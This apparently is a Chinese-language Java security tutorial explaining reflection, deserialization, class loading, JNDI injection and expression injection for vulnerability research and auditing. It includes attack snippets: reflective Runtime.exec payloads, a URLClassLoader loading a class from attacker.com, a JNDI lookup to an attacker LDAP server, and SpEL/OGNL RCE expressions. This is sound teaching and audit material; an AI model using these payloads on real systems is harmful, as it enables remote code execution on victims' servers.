Java基础

Java基础

本系列是 Java 安全研究的基础篇。后面要啃的内存马、Fastjson 反序列化、鉴权绕过,本质上都是下面这几块 Java 底层机制的排列组合:

  • 反射 —— 反序列化和内存马的”手”(动态加载、实例化、改私有字段都靠它);
  • 序列化 —— 反序列化漏洞的载体;
  • 类加载 —— JSP webshell 和自定义 ClassLoader 加载恶意类的原理;
  • JNDI —— Fastjson / Log4j RCE 的落地点;
  • 表达式注入、动态代理 —— 框架类漏洞的常见入口。

本文按安全研究中的高频程度排序,把 Java 基础拆成九个板块。


一、Java 程序运行机制

1.1 编译执行流程

Java 源码 (.java)
      │ javac 编译(编译期)
      ▼
字节码文件 (.class)  —— 平台无关,跨平台的关键
      │ 类加载器 加载(运行期)
      ▼
JVM 执行
      ├── 解释执行:逐条翻译字节码,慢
      └── JIT 编译:热点代码编译为本地机器码,快

一个 .java 源文件可以对应多个 .class(内部类、Lambda 等)。JSP 在 Tomcat 里的本质也是编译成 Servlet 的 .class 再执行——这决定了 JSP webshell 与 Servlet 内存马在执行层面是同一条链。

1.2 安全研究必会:javap 反编译

反序列化和内存马分析中,看字节码比看源码更接近真相(比如确认某个方法到底调没调、构造器参数是什么)。JDK 自带 javap:

# 反编译方法调用(不含方法体)
javap -c -p com.example.SomeClass

# 反编译完整实现(本地变量、行号)
javap -c -l -p com.example.SomeClass

# 只看类签名、继承关系、字段、方法声明
javap -p com.example.SomeClass

本博客《内存马原理总纲》里所有 Tomcat 调用链(如 CoyoteAdapter.service() → StandardWrapperValve.invoke() → servlet.service()),都是用 javap 对 catalina.jar 逐一核实过才写出来的。

1.3 与安全研究的关系

机制 安全意义
字节码 Java Agent 内存马改的就是内存里的字节码,见《Java Agent 内存马》
类加载 JSP webshell、URLClassLoader 加载远程恶意类
JVM 执行 反序列化漏洞最终也落在”调用链 + 方法执行”上

二、字符串操作

2.1 String 不可变性

String 是 final 类,char[](JDK 8)/ byte[](JDK 9+)由 private final 修饰,一旦创建不可修改。所有”修改”都是创建新对象:

String s = "abc";
String s2 = s + "d";   // 产生新对象,s 不变
String s3 = s.toUpperCase();  // 产生新对象

安全意义:不可变保证 equals 判断的是内容而非引用地址,是散列键安全的根基;也意味着拼接大量字符串会有性能问题(引出 StringBuilder)。

2.2 == 与 equals:代码审计的高频点

  • == 比较引用地址(基本类型比较值);
  • equals 比较内容(String 重写了它)。
String a = "abc";                    // 字面量 → 常量池
String b = "abc";                    // 复用常量池中同一对象
String c = new String("abc");        // 堆上新对象

a == b          // true   (同一常量池对象)
a == c          // false  (地址不同!)
a.equals(c)     // true   (内容相同)

审计点:用 == 比较字符串(尤其用户输入)是典型 Bug,会导致认证/权限判断被绕过或”明明相同却不相等”。

// ❌ 用 == 比较用户输入
if (userInput == "admin") { ... }   // 大概率永远不成立

// ✅ 用 equals / equalsIgnoreCase
if ("admin".equals(userInput)) { ... }

2.3 字符串拼接与注入(审计核心)

字符串拼接本身不是漏洞,但把不可信输入拼进敏感上下文就会变成注入:

// SQL 注入
String sql = "SELECT * FROM user WHERE name = '" + name + "'";

// 命令注入
String cmd = "/bin/sh -c " + command;

// XSS
String html = "<div>" + content + "</div>";

// 模板/表达式注入(拼进 SpEL / OGNL)

审计手法:全局搜 + 拼接、String.format、MessageFormat,追踪变量是否来自 getParameter / getHeader / 反序列化输入。

2.4 StringBuilder / StringBuffer

大量拼接用 StringBuilder(单线程)或 StringBuffer(线程安全,方法加锁):

StringBuilder sb = new StringBuilder();
for (String line : lines) {
    sb.append(line);      // 高效,不产生中间对象
}

审计点:append 的变量如果是用户可控且最终拼进命令/SQL/HTML,与 + 拼接同样危险。

2.5 安全分析常用的字符串操作

反序列化 Payload、Base64、编码绕过里几乎天天用到:

// Base64
String b64 = Base64.getEncoder().encodeToString(data);
byte[] raw = Base64.getDecoder().decode(b64);

// 十六进制(序列化字节流分析常用)
String hex = HexFormat.of().formatHex(bytes);

// URL 编码(鉴权绕过的核心,见[《Java Web 鉴权绕过模式深度剖析》](/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/08/Java-Web%E9%89%B4%E6%9D%83%E7%BB%95%E8%BF%87%E6%A8%A1%E5%BC%8F%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90/))
String enc = URLEncoder.encode("/admin;.js", "UTF-8");

// 字节数组 ↔ 字符串(读命令输出/读文件内容)
String content = new String(bytes, StandardCharsets.UTF_8);

三、流程(程序流程与异常)

3.1 基本流程控制

顺序、分支(if/else、switch)、循环(for、while、for-each)、break/continue/return。这部分语法简单,重点放在安全审计视角的几类”流程缺陷”。

3.2 异常体系

Throwable
 ├── Error          —— 程序无法恢复,如 OutOfMemoryError、StackOverflowError
 └── Exception
      ├── 受检异常(Checked)—— 编译器强制处理,如 IOException
      └── 非受检异常(RuntimeException)—— 不必显式声明,如 NPE、ClassCastException
try {
    // 可能抛异常
    Class.forName(userInput).newInstance();
} catch (ClassNotFoundException e) {
    // 处理
} finally {
    // 无论是否异常都执行
}

3.3 异常处理的安全审计点

模式 风险
catch (Exception e) {} 空捕获吞异常 攻击者触发的异常被静默吞掉,漏洞行为不可见,难以排查
catch 后 return 继续走逻辑 可能绕过权限/校验(异常被当成”通过”)
finally 里的 return 覆盖 try 中的 return,造成意外的流程跳转
异常信息直接回显给前端 泄露堆栈、类名、框架版本(ClassNotFoundException: com.sun.rowset.JdbcRowSetImpl 会暴露内部类路径)
// ❌ 吞异常:鉴权模块 catch 到解析失败直接放行
try {
    User u = tokenService.parse(token);
    if (u == null) return false;
} catch (Exception e) {
    return true;   // ← 恶意 token 解析异常 → 直接放行!
}

// ✅ 失败即拒绝(fail-closed)
try {
    User u = tokenService.parse(token);
    return u != null && u.hasRole("ADMIN");
} catch (Exception e) {
    log.error("token 解析失败", e);
    return false;  // 异常 → 拒绝
}

3.4 try-with-resources

自动关闭实现了 AutoCloseable 的资源(流、连接):

try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.ser"))) {
    Object o = ois.readObject();   // 反序列化入口,见第五节
}

四、反射机制(安全研究的基石)

反射 = 运行时动态获取类的结构并操作它。这是 Java 安全里最重要的一块:反序列化漏洞用它动态加载 @type 指定的类,内存马用它改容器私有字段,几乎所有 gadget 链都要靠它。

4.1 获取 Class 对象的三种方式

// 1. 类名(最常用,字符串可控 → 可指定任意类)
Class<?> c1 = Class.forName("com.sun.rowset.JdbcRowSetImpl");

// 2. 类字面量
Class<?> c2 = JdbcRowSetImpl.class;

// 3. 实例
JdbcRowSetImpl obj = new JdbcRowSetImpl();
Class<?> c3 = obj.getClass();

注意:Class.forName(name) 默认会执行静态初始化块(static initializer),而 ClassLoader.loadClass(name) 不会。某些 gadget 依赖静态块触发副作用,因此两者在利用链里不能混用。

4.2 构造对象、调用方法、访问字段

Class<?> clazz = Class.forName("java.lang.Runtime");

// 构造对象:优先 getDeclaredConstructor().newInstance()(newInstance() 在 JDK 9+ 已废弃)
Constructor<?> ctor = clazz.getDeclaredConstructor();
Object runtime = ctor.newInstance();          // 私有构造也能 setAccessible(true) 后调用

// 调用方法:invoke 第一个参数是"目标对象",静态方法传 null
Method getRuntime = clazz.getMethod("getRuntime");
Object instance = getRuntime.invoke(null);
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(instance, "id");                  // 反射执行命令

// 访问字段:getDeclaredField 拿私有字段,setAccessible(true) 绕访问控制
Field field = clazz.getDeclaredField("somePrivateField");
field.setAccessible(true);
Object value = field.get(instance);

反射执行命令的经典写法(内存马、反序列化 payload 里反复出现):

String cmd = "id";
Class<?> rc = Class.forName("java.lang.Runtime");
Method m = rc.getMethod("exec", String.class);
m.invoke(rc.getMethod("getRuntime").invoke(null), cmd);

4.3 setAccessible(true):绕过私有访问控制

getDeclaredField / getDeclaredMethod 拿到私有成员后,必须 setAccessible(true) 才能访问/调用。内存马正是靠它读取并修改 Tomcat 内部私有字段:

// 拿 Tomcat 的 StandardContext(Filter/Servlet 内存马的入口)
// 见《内存马原理总纲》:把恶意代码 + URL 映射组装进容器注册表
Object request = ...;  // 从当前请求对象向上反推得到 StandardContext
Field ctxField = request.getClass().getDeclaredField("context");
ctxField.setAccessible(true);
Object standardContext = ctxField.get(request);

4.4 高版本 JDK 的反射限制

  • JDK 9+ 模块系统:反射访问 JDK 内部模块(sun.*、jdk.internal.*)默认被拒,需启动参数 --add-opens java.base/sun.nio.ch=ALL-UNNAMED;
  • newInstance() 已废弃:尽量用 getDeclaredConstructor().newInstance();
  • 反序列化中大量依赖 sun.reflect.* 的 gadget,在 JDK 17+ 多数已失效。

4.5 反射的应用场景对照

安全场景 反射扮演的角色
Fastjson AutoType @type 字段 → Class.forName → 反射实例化 → 反射调 setter,见《Fastjson反序列化漏洞深度剖析》
内存马 反射拿 StandardContext、filterConfigs 等私有字段并修改
绕过 setAccessible(true) 调私有方法、读私有字段
动态代理 Proxy.newProxyInstance 底层依赖反射,见第八节

五、序列化与反序列化

5.1 什么是序列化

序列化 = 把对象转成字节流(用于存储/网络传输);反序列化 = 把字节流还原成对象。Java 原生序列化靠 ObjectOutputStream / ObjectInputStream,对象实现 Serializable 即可:

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj.ser"));
oos.writeObject(user);

// 反序列化 ← 安全研究的重点
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.ser"));
User user = (User) ois.readObject();

5.2 序列化的魔术方法

readObject / writeObject 等方法是反序列化漏洞的入口点:

public class User implements Serializable {
    private static final long serialVersionUID = 1L;  // 版本号,不匹配会抛 InvalidClassException

    private String name;
    private String command;

    // 自定义反序列化逻辑(漏洞的入口就在这里)
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();       // 先按默认规则还原字段
        // ❌ 反序列化时直接调用危险方法 → 攻击者构造恶意字节流即可 RCE
        Runtime.getRuntime().exec(command);
    }
}

常见魔术方法:

方法 触发时机 说明
readObject 反序列化时 最主要的漏洞入口
readObjectNoData 流中无该类数据时 反序列化也会触发
readResolve readObject 返回后 可替换返回对象
writeObject 序列化时 序列化逻辑
writeReplace / readResolve 序列化/反序列化时 替换对象

5.3 反序列化漏洞原理

核心问题:readObject() 接受的是不可信的字节流,还原对象过程中会调用一系列方法。攻击者构造一个特殊的类结构,让 readObject 的调用链最终落到 Runtime.exec / JNDI lookup 等危险方法上。

恶意字节流(攻击者构造)
   ↓ readObject()          ← 入口(如 HashMap.readObject)
   ↓ 链上的方法调用         ← gadget chain(如 TemplatesImpl → getOutputProperties → newTransformer → 加载恶意字节码)
   ↓ 危险方法               ← sink(Runtime.exec / JNDI lookup / URLClassLoader)

三个要素:

要素 含义 例子
入口 攻击者可控的 readObject HashMap、PriorityQueue、TemplatesImpl
链(Gadget) 串联入口到 sink 的方法调用序列 CommonsCollections、C3P0、JRMP
落点(Sink) 真正执行危险操作 Runtime.exec、InitialContext.lookup、Method.invoke

反序列化 ≠ Fastjson。Java 原生反序列化走 ObjectInputStream.readObject,字节流带类名;Fastjson 是 JSON 反序列化,靠 @type 指定类名 + 反射实例化 + setter 触发。两者入口不同,但都依赖”反射 + 危险方法落点”。

5.4 利用工具与定位手法

  • ysoserial:生成各种 gadget 链的序列化 payload(CommonsCollections1/2/... 等);
  • 定位入口类:全局搜 readObject、ObjectInputStream;
  • 定位 sink:全局搜 Runtime.getRuntime().exec、InitialContext().lookup、URLClassLoader、ProcessBuilder;
  • 判定标准:是否有不可信数据进入 readObject() / 反序列化库的 parse 方法。

防御方向:禁止反序列化不可信数据 / 用白名单 ObjectInputFilter(JDK 9+)/ 换 JSON 等安全格式。详见《Fastjson反序列化漏洞深度剖析》的防御章节。


六、类加载机制

6.1 类加载过程

加载 → 验证 → 准备 → 解析 → 初始化

加载 是安全研究关注的重点:把 .class 字节码读入内存生成 Class 对象。字节码可以来自 classpath、网络、内存(Agent 内存马)。

6.2 双亲委派模型

Bootstrap ClassLoader      JAVA_HOME/lib 核心库(rt.jar / java.base)
        ↑ 委托
Extension/Platform Loader  JAVA_HOME/lib/ext
        ↑ 委托
Application ClassLoader    classpath(应用自己的类)
        ↑ 委托
自定义 ClassLoader         开发者自写

双亲委派:类加载请求先交给父加载器,父加载器找不到才自己加载。意义是保证核心类(如 java.lang.String)只被加载一份,防止伪造。

安全意义:

  • 攻击者若能让某个类的字节码被应用加载器加载到,就等于让代码执行权掌握在自己手里;
  • 反序列化 gadget 需要”目标类在应用 classpath 里”,这就是为什么研究反序列化要先摸清依赖(find . -name "*.jar")。

6.3 URLClassLoader:加载任意位置的类

URLClassLoader 可以加载指定 URL(本地目录、HTTP 远程、jar)下的类,是 webshell 和 RCE 的经典落地方式:

// 从远程服务器加载恶意类
URLClassLoader loader = new URLClassLoader(new URL[] {
    new URL("http://attacker.com/evil/")
});
Class<?> evil = loader.loadClass("Evil");
Object obj = evil.getDeclaredConstructor().newInstance();  // 恶意代码在构造/静态块里执行
// 从内存字节数组直接定义类(无磁盘文件,Agent 型内存马思路)
byte[] bytes = getEvilClassBytes();   // 任意来源
Method define = ClassLoader.class.getDeclaredMethod(
    "defineClass", String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> evil = (Class<?>) define.invoke(loader, "Evil", bytes, 0, bytes.length);

6.4 自定义 ClassLoader

继承 ClassLoader → 重写 findClass(或 loadClass)→ 读取字节码 → defineClass

JSP 编译后的 _jsp.java / _jsp.class 就是 Tomcat 用 JasperLoader(一个自定义 ClassLoader)加载的。所以 JSP webshell 的本质:上传一个 JSP → Tomcat 编译成 Servlet → JasperLoader 加载 → 执行 _jspService 里的命令代码。

关联阅读:《Tomcat基础》里的 Servlet / JSP 示例,以及内存马系列中”恶意类如何被容器加载”的讨论。


七、JNDI 注入

7.1 什么是 JNDI

JNDI(Java Naming and Directory Interface) 是 Java 的”命名/目录服务统一接口”,可以通过名字查找资源。常见提供方:RMI、LDAP、CORBA、DNS。

Context ctx = new InitialContext();
Object obj = ctx.lookup(userInput);   // 按名字查找

7.2 JNDI 注入原理(RCE 落地点)

如果 lookup 的参数是攻击者可控的,攻击者指向自己的 RMI/LDAP 服务器,返回一个恶意 Reference,目标 JVM 会去 Reference 指定的远程地址拉取 .class 并加载执行:

攻击者构造:  lookup("ldap://attacker:1389/Exploit")
                    ↓
目标 JVM 向 attacker:1389 发起 LDAP 查询
                    ↓
恶意 LDAP 服务器返回 Reference(指向 http://attacker/Exploit.class)
                    ↓
目标 JVM 远程加载 Exploit.class 并实例化 → 构造/静态块中的代码执行 → RCE

这是 Fastjson(JdbcRowSetImpl + dataSourceName + autoCommit)、Log4j2(JNDI Lookup)等 RCE 的核心落地机制。

7.3 高版本 JDK 限制

版本 RMI LDAP 说明
< 6u141 / 7u121 / 8u121 ✅ ✅ 默认可远程加载 codebase
8u121 ~ 8u191 ✅ ✅ 需设 com.sun.jndi.rmi.object.trustURLCodebase=true
≥ 8u191 ❌ ❌ 默认禁止远程加载,需要利用本地 Factory / 绕过

所以高版本 JDK 下 JNDI 注入通常转向:本地 Gadget(如 BeanFactory、Tomcat MBean)、LDAP 本地类引用等。这是审计时判断”这条链还通不通”的关键。

7.4 审计手法

# 搜 JNDI 入口
grep -rn "InitialContext\|ctx.lookup\|lookup(" --include="*.java" .
# 搜 JNDI 相关配置
grep -rn "java.naming\|jndi" --include="*.properties" --include="*.yml" --include="*.xml" .

判断:lookup() 的参数是否来自外部输入(URL、参数、反序列化字段)。


八、动态代理

8.1 什么是动态代理

代理模式:不直接调目标,而是通过代理对象间接调用,在调用前后插入额外逻辑(日志、鉴权、AOP)。动态代理 = 运行时生成代理类,无需手写。

8.2 JDK 动态代理(Proxy + InvocationHandler)

只支持接口:

// 1. 实现 InvocationHandler,所有方法调用都经过 invoke
InvocationHandler handler = (proxy, method, args) -> {
    System.out.println("拦截方法: " + method.getName());
    return method.invoke(target, args);   // 转发给真实对象
};

// 2. 生成代理对象(依赖反射)
Object proxy = Proxy.newProxyInstance(
    target.getClass().getClassLoader(),  // 类加载器
    target.getClass().getInterfaces(),   // 要代理的接口
    handler);

8.3 CGLIB

JDK 代理只代理接口,代理类(无接口)要用 CGLIB,它通过生成目标类的子类实现(Spring AOP 默认策略:有接口用 JDK 代理,无接口用 CGLIB)。

8.4 与安全研究的关系

  • Spring AOP / Spring 内存马:HandlerInterceptor、AopContext 等机制都建立在动态代理上;
  • 反序列化 gadget:部分链(如某些 Templates 相关)利用动态代理拦截 equals/hashCode 触发后续调用;
  • 绕过类名检测:代理类名形如 $Proxy0,在检测”是否出现陌生类”时可作为隐蔽手段。

九、表达式注入基础

9.1 什么是表达式注入

框架经常允许用户输入表达式字符串(SpEL / OGNL / EL / MVEL),表达式由框架解析执行。如果表达式拼接了不可信输入且未隔离,就是表达式注入 → RCE。

9.2 SpEL(Spring 表达式)

// ❌ 表达式来自用户输入
String userExpr = request.getParameter("expr");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userExpr);  // 解析任意表达式
exp.getValue();                                     // 执行

// 恶意表达式:直接调用静态方法执行命令
// T(java.lang.Runtime).getRuntime().exec('id')
// new javax.script.ScriptEngineManager().getEngineByName("JavaScript").eval("...")
// T(java.net.InetAddress).getByName("dnslog.xxx")

9.3 OGNL(Struts2 / MyBatis)

// Struts2 经典 OGNL RCE(CVE-2017-5638 思路)
// ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(...)}
// (#cmd='id').(#is=new java.io.InputStreamReader(#p.getInputStream()))

9.4 常见表达式对比

表达式 框架 典型注入点
SpEL Spring @Value、parseExpression、注解值
OGNL Struts2、MyBatis 拦截器参数、标签属性
EL JSP / 模板 ${...},一般仅取值
MVEL Drools、部分 CMS eval、execute

9.5 审计手法

grep -rn "parseExpression\|SpelExpressionParser\|@ognl\|getValue()" --include="*.java" .

判断:表达式字符串是否含用户输入;是否用了 StandardEvaluationContext(默认功能全开,危险;应换成 SimpleEvaluationContext)。


总结

把九块串成一条主线,就是 Java 安全研究从”看得懂代码”到”能造链”的路径:

看得懂基础(运行机制 / 字符串 / 流程)
   ↓
摸得清机制(反射 / 序列化 / 类加载)
   ↓
用得起来(JNDI / 动态代理 / 表达式)

最核心的三块:反射、序列化、类加载。反序列化漏洞 = 反射 + 危险落点;内存马 = 反射改注册表 / 字节码;JSP webshell = 类加载 + 编译。把这几个机制吃透,再去读内存马系列、Fastjson 系列、鉴权绕过系列,会顺畅得多。

改变就是好事。